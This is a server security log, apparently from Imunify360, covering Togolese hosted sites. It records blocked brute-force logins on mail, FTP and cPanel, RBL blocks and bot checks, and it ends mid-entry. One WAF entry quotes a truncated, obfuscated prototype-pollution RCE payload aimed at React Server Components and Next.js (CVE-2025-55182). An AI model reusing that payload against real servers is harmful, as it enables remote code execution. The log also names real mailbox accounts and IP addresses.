93.71.103.137 - - [13/Jun/2026:00:36:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7169433&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781310139 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.71.103.137


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 93.71.103.137
country_id: 3175395
description:
93.71.103.137 - - [13/Jun/2026:00:36:38 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7169433&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781310139" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.71.103.137


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 192.144.91.46
country_id: 2750405
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:la-bidc-lance-son-cadre-de-financement-esg-et-obtient-une-evaluation-positive-de-la-part-de-iss-esg-solutions/||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.99.124.119
country_id: 1835841
description:
Jun 13 00:38:03 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.99.124.119 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.99.124.119
country_id: 1835841
description:
2026-06-13 00:38:05 dovecot_login authenticator failed for H=([182.95.182.166]) [210.99.124.119]:33836: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 00:37:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:54460: 535 Incorrect authentication data (set_id=highlander@ns5.netmaster.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 151.247.187.229
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:151.247.187.229||TA:151.247.187.229||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 00:37:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 00:37:33 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 00:37:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:18764: 535 Incorrect authentication data (set_id=degruyter@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 52.50.172.183
country_id: 2963597
description:
Jun 13 00:43:07 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 52.50.172.183 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 52.50.172.183
country_id: 2963597
description:
2026-06-13 00:43:09 dovecot_plain authenticator failed for H=ec2-52-50-172-183.eu-west-1.compute.amazonaws.com (ip-172-26-10-2) [52.50.172.183]:57694: 535 Incorrect authentication data (set_id=hilaire.mensah@mesyscom.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.122.252.54
country_id: 1210997
description:
103.122.252.54 - - [13/Jun/2026:00:46:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6593135&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-un-cadre-dinvestissement-propice%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781311571 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-un-cadre-dinvestissement-propice/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.7561.1262 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.122.252.54


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 217.218.152.77
country_id: 130758
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-47.217.218.152.77||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: educplusmedia.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"status\":\"resolved_model\",\"_40ca55ef\":\"0835\",\"reason\":-1,\"then\":\"$1:__proto__:then\",\"_response\":{\"_prefix\":\"var abiq=[].slice.call(arguments,1)[0];var kqqs=abiq;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 152.32.188.174
country_id: 1819730
description:
Jun 13 00:52:01 ns5 pure-ftpd[2006846]: (?@152.32.188.174) [INFO] New connection from 152.32.188.174


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.171.58
country_id: 2363686
description:
[2026-06-13 00:53:17 +0000] info [cpaneld] 102.64.171.58 - mvfxewjz "GET /cpsess9122583340/frontend/jupiter/email_accounts/index.html HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [196.171.122.34] != Current IP Address [102.64.171.58]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.144.215
country_id: 690791
description:
Jun 13 00:55:07 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.144.215 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.144.215
country_id: 690791
description:
Jun 13 00:55:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.144.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.76.88.37
country_id: 1733045
description:
2026-06-13 00:55:57 H=([103.76.88.37]) [103.76.88.37]:61321 F=<info@sample.com> rejected RCPT <blakeshelton007@hotmail.com>: SMTP AUTH is required for message submission on port 587


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 191.101.157.121
country_id: 2921044
description:
191.101.157.121 - - [13/Jun/2026:00:57:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9858405&pdata=https%253A%252F%252Fwww.camilliens.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781312272 HTTP/2.0" 302 0 www.camilliens.tg "https://www.camilliens.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:191.101.157.121


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 160.176.186.1
country_id: 2542007
description:
160.176.186.1 - - [13/Jun/2026:00:58:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9867927&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Freceptions-et-cadeaux-interdits-apres-les-soutenances%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781312327 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/receptions-et-cadeaux-interdits-apres-les-soutenances/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.4923.1762 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:160.176.186.1


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 101.99.88.195
country_id: 1733045
description:
[2026-06-13 00:58:53 +0000] info [cpaneld] 101.99.88.195 - two "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user two (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 148.3.161.138
country_id: 2510769
description:
148.3.161.138 - - [13/Jun/2026:01:02:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6515043&pdata=https%253A%252F%252Fdirect7.tg%252F%253Fp%253D15454&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781312569 HTTP/1.1" 302 0 direct7.tg "https://direct7.tg/?p=15454" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:148.3.161.138


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.72.64.32
country_id: 6252001
description:
Jun 13 01:09:51 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.72.64.32 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 13 01:09:52 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.26.184.5
country_id: 6252001
description:
Jun 13 01:10:14 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.26.184.5 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.185.201.170
country_id: 1269750
description:
Jun 13 01:09:43 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.185.201.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.27.34
country_id: 1835841
description:
Jun 13 01:09:53 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.27.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.93.167.144
country_id: 1835841
description:
Jun 13 01:09:53 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.93.167.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.249.88
country_id: 1269750
description:
Jun 13 01:10:00 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.249.88 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.186.136.36
country_id: 1814991
description:
Jun 13 01:11:07 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.186.136.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.242.180.190
country_id: 732800
description:
Jun 13 01:10:53 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.242.180.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.247.110.24
country_id: 1269750
description:
Jun 13 01:10:59 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.247.110.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.129.217.70
country_id: 1269750
description:
Jun 13 01:11:08 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.129.217.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.52.211.184
country_id: 1694008
description:
Jun 13 01:10:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.52.211.184 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.53.42.101
country_id: 3469034
description:
Jun 13 01:10:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.53.42.101 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 185.72.240.250
country_id: 3469034
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:185.72.240.250||TA:185.72.240.250||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.129.217.70
country_id: 1269750
description:
Jun 13 01:11:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.129.217.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.162
country_id: 1269750
description:
Jun 13 01:11:35 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.162 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 206.232.103.101
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:206.232.103.101||TA:206.232.103.101||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.72.71.43
country_id: 1562822
description:
Jun 13 01:17:41 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.72.71.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.107
country_id: 3865483
description:
Jun 13 01:19:14 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.107 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.107
country_id: 3865483
description:
Jun 13 01:19:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.107 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.51.194.201
country_id: 3625428
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/wp-content/uploads/2017/01/Decret-2000-090-DU-8_11_00.pdf HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-13 01:25:43 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:48774: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 167.233.40.195
country_id: 2921044
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-27.167.233.40.195||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.72.71.43
country_id: 1562822
description:
Jun 13 01:32:04 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.72.71.43 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 129.226.154.101
country_id: 1880251
description:
129.226.154.101 - - [13/Jun/2026:01:38:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10249882&pdata=https%253A%252F%252Flaunetogo.tg%252Ftogo-manifestations-pacifiques-publiques-fabien-offner-les-autorites-togolaises-doivent-lever-cette-interdiction%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781314678 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/togo-manifestations-pacifiques-publiques-fabien-offner-les-autorites-togolaises-doivent-lever-cette-interdiction/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:129.226.154.101


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 13 01:38:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.19.215.51
country_id: 2017370
description:
Jun 13 01:40:55 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.19.215.51 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.19.215.51
country_id: 2017370
description:
2026-06-13 01:40:57 dovecot_plain authenticator failed for H=(m54sr3feh33w43y0jnx0r0i44u) [89.19.215.51]:48746: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 194.59.31.125
country_id: 3017382
description:
[2026-06-13 01:42:12 +0000] info [whostmgrd] 194.59.31.125 - - "GET /openid_connect/cpanelid HTTP/1.1" FAILED LOGIN whostmgrd: openid connect: 'whostmgrd' provider 'cpanelid' encountered an error: (XID 5jstvk) The [asis,OpenID Connect] provider “cPanelID” is disabled on the service “whostmgrd”.


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 194.59.31.125
country_id: 3017382
description:
[2026-06-13 01:42:14 +0000] info [whostmgrd] 194.59.31.125 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.223
country_id: 3469034
description:
Jun 13 01:41:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.223 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [13/Jun/2026:01:47:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6527332&pdata=http%253A%252F%252F154.70.82.249&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781315220 HTTP/1.1" 302 0 154.70.82.249 "http://154.70.82.249/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.52
country_id: 6252001
description:
205.169.39.52 - - [13/Jun/2026:01:46:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9673364&pdata=http%253A%252F%252F154.70.82.249&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781315218 HTTP/1.1" 302 0 154.70.82.249 "http://154.70.82.249/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.52


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 114.129.13.8
country_id: 1210997
description:
114.129.13.8 - - [13/Jun/2026:01:50:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9802859&pdata=https%253A%252F%252Ftogodailynews.tg%252Frehabilitation-et-modernisation-des-centres-hospitaliers-de-kara-faure-gnassingbe-senquiert-de-levolution-des-travaux%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781315442 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/rehabilitation-et-modernisation-des-centres-hospitaliers-de-kara-faure-gnassingbe-senquiert-de-levolution-des-travaux/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.5434.1909 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:114.129.13.8


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 151.245.232.117
country_id: 290557
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:togo-les-pratiques-qui-rendent-propre-le-systeme-judiciaire/||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:01:53:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9750683&pdata=http%253A%252F%252Fflp-tg.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781315621 HTTP/1.1" 302 0 flp-tg.com "http://flp-tg.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [13/Jun/2026:01:53:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13015191&pdata=https%253A%252F%252Fflp-tg.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781315626 HTTP/2.0" 302 0 flp-tg.com "https://flp-tg.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 157.100.88.168
country_id: 3658394
description:
157.100.88.168 - - [13/Jun/2026:01:53:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13134184&pdata=https%253A%252F%252Ftogodailynews.tg%252F20eme-forum-economique-international-victoire-tomegah-dogbe-expose-la-vision-du-togo-de-demain%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781315613 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/20eme-forum-economique-international-victoire-tomegah-dogbe-expose-la-vision-du-togo-de-demain/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.5646.1971 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:157.100.88.168


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.55
country_id: 6252001
description:
205.169.39.55 - - [13/Jun/2026:01:53:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869512&pdata=http%253A%252F%252Fflp-tg.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781315620 HTTP/1.1" 302 0 flp-tg.com "http://flp-tg.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.55


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.29.136
country_id: 2017370
description:
2026-06-13 01:57:25 dovecot_plain authenticator failed for H=(unnurifer) [31.173.29.136]:29553: 535 Incorrect authentication data (set_id=admin@sigm.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.173.29.136
country_id: 2017370
description:
Jun 13 01:57:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.173.29.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.91
country_id: 130758
description:
Jun 13 01:59:38 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.91 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-13 02:01:59 +0000] info [cpaneld] 45.61.130.187 - dev03 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dev03 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 144.172.95.179
country_id: 6252001
description:
[2026-06-13 02:04:48 +0000] info [cpaneld] 144.172.95.179 - nwvfmxat "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.14.246.44
country_id: 1814991
description:
2026-06-13 02:05:44 dovecot_plain authenticator failed for H=(gg4pqzzcgxzmvc5zonfa6gr5) [106.14.246.44]:58024: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.14.246.44
country_id: 1814991
description:
Jun 13 02:05:42 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.14.246.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 13 02:07:01 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-13 02:07:03 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:46640: 535 Incorrect authentication data (set_id=ssladmin)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jun 13 02:08:44 ns5 pure-ftpd[2047589]: (?@47.84.199.24) [WARNING] Authentication failed for user [Turbolte]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.0.189.231
country_id: 3469034
description:
Jun 13 02:09:33 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.0.189.231 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-13 02:13:23 +0000] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-13 02:13:22 +0000] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.8.227
country_id: 3469034
description:
Jun 13 02:13:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.8.227 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 13 02:15:40 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-13 02:15:42 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:59329: 535 Incorrect authentication data (set_id=anthony)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.43.193.138
country_id: 357994
description:
[2026-06-13 02:17:35 +0000] info [whostmgrd] 197.43.193.138 - apluser "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.34.197
country_id: 2395170
description:
Jun 13 02:17:57 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.34.197 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.119.99.90
country_id: 1831722
description:
